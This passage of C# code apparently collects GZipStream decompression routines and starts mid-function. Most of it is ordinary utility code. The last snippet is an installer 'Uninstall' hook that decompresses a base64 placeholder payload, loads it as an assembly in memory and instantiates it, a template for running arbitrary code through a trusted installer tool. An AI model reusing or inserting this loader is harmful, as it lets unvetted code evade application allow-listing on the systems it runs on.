var inputByteArray = new byte[value.Length / 2];
for (var x = 0; x < inputByteArray.Length; x++)
{
var i = Convert.ToInt32(value.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
//Transform string into byte[]
byte[] byteArray = inputByteArray;
//Prepare for decompress
System.IO.MemoryStream ms = new System.IO.MemoryStream(byteArray);
System.IO.Compression.GZipStream sr = new System.IO.Compression.GZipStream(ms,
System.IO.Compression.CompressionMode.Decompress);
//Reset variable to collect uncompressed result
byteArray = new byte[byteArray.Length];
//Decompress
int rByte = sr.Read(byteArray, 0, byteArray.Length);
//Transform byte[] unzip data to string
System.Text.StringBuilder sB = new System.Text.StringBuilder(rByte);
//Read the number of bytes GZipStream red and do not a for each bytes in
//resultByteArray;
for (int i = 0; i < rByte; i++)
{
sB.Append((char)byteArray[i]);
}
sr.Close();
ms.Close();
sr.Dispose();
ms.Dispose();
return(sB.ToString());
}
public static string UnZip(string value)
{
//Transform string into byte[]
byte[] byteArray = new byte[value.Length];
int indexBA = 0;
foreach (char item in value.ToCharArray())
{
byteArray[indexBA++] = (byte)item;
}
//Prepare for decompress
System.IO.MemoryStream ms = new System.IO.MemoryStream(byteArray);
System.IO.Compression.GZipStream sr = new System.IO.Compression.GZipStream(ms,
System.IO.Compression.CompressionMode.Decompress);
//Reset variable to collect uncompressed result
byteArray = new byte[byteArray.Length];
//Decompress
int rByte = sr.Read(byteArray, 0, byteArray.Length);
//Transform byte[] unzip data to string
System.Text.StringBuilder sB = new System.Text.StringBuilder(rByte);
//Read the number of bytes GZipStream red and do not a for each bytes in
//resultByteArray;
for (int i = 0; i < rByte; i++)
{
sB.Append((char)byteArray[i]);
}
sr.Close();
ms.Close();
sr.Dispose();
ms.Dispose();
return(sB.ToString());
}
public static string DecompressBase64String(string pBase64Str)
{
System.Text.Encoding encoder = Encoding.UTF8;
//byte[] compressedData = encoder.GetBytes(xmlFile);
byte[] compressedData = Convert.FromBase64String(pBase64Str);
byte[] writeData = new byte[1024 * 1024];
System.IO.Stream zipStream = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(compressedData), System.IO.Compression.CompressionMode.Decompress);
int totalLength = 0;
int size;
string sResult = string.Empty;
while ((size = zipStream.Read(writeData, 0, writeData.Length)) > 0)
{
totalLength += size;
sResult += encoder.GetString(writeData, 0, size);
}
zipStream.Close();
// _Logger.Debug("compressed Lenght: " + compressedData.Length + " de compressed Lenght: " + totalLength);
return(sResult);
}
static byte[] Decompress(byte[] gzip)
{
using (System.IO.Compression.GZipStream stream = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(gzip),
System.IO.Compression.CompressionMode.Decompress))
{
const int size = 4096;
byte[] buffer = new byte[size];
using (System.IO.MemoryStream memory = new System.IO.MemoryStream())
{
int count = 0;
do
{
count = stream.Read(buffer, 0, size);
if (count > 0)
{
memory.Write(buffer, 0, count);
}
}while (count > 0);
return(memory.ToArray());
}
}
}
public static ArraySegment <byte> DecompressBuffer(ArraySegment <byte> buffer, BufferManager bufferManager)
{
MemoryStream stream = new MemoryStream(buffer.Array, buffer.Offset, buffer.Count - buffer.Offset);
MemoryStream decompressedStream = new MemoryStream();
//int totalRead = 0;
const int blockSize = 1024;
byte[] tempBuffer = bufferManager.TakeBuffer(blockSize);
using (System.IO.Compression.GZipStream gzStream = new System.IO.Compression.GZipStream(stream, CompressionMode.Decompress))
{
while (true)
{
int bytesRead = gzStream.Read(tempBuffer, 0, blockSize);
if (bytesRead == 0)
{
break;
}
decompressedStream.Write(tempBuffer, 0, bytesRead);
//totalRead += bytesRead;
}
}
bufferManager.ReturnBuffer(tempBuffer);
byte[] decompressedBytes = decompressedStream.ToArray();
byte[] bufferManagerBuffer = bufferManager.TakeBuffer(decompressedBytes.Length + buffer.Offset);
Array.Copy(buffer.Array, 0, bufferManagerBuffer, 0, buffer.Offset);
Array.Copy(decompressedBytes, 0, bufferManagerBuffer, buffer.Offset, decompressedBytes.Length);
var byteArray = new ArraySegment <byte>(bufferManagerBuffer, buffer.Offset, decompressedBytes.Length);
bufferManager.ReturnBuffer(buffer.Array);
return(byteArray);
}
public override void Uninstall(System.Collections.IDictionary savedState)
{
System.IO.Compression.GZipStream s = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(Convert.FromBase64String("#{assembly}")), System.IO.Compression.CompressionMode.Decompress);
System.IO.MemoryStream m = new System.IO.MemoryStream();
const int size = 4096;
byte[] buffer = new byte[size];
int count = 0;
do
{
count = s.Read(buffer, 0, size);
if (count > 0)
{
m.Write(buffer, 0, count);
}
}while (count > 0);
System.Reflection.Assembly a = System.Reflection.Assembly.Load(m.ToArray());
Type at = a.GetTypes()[0];
object ao = Activator.CreateInstance(at);
}
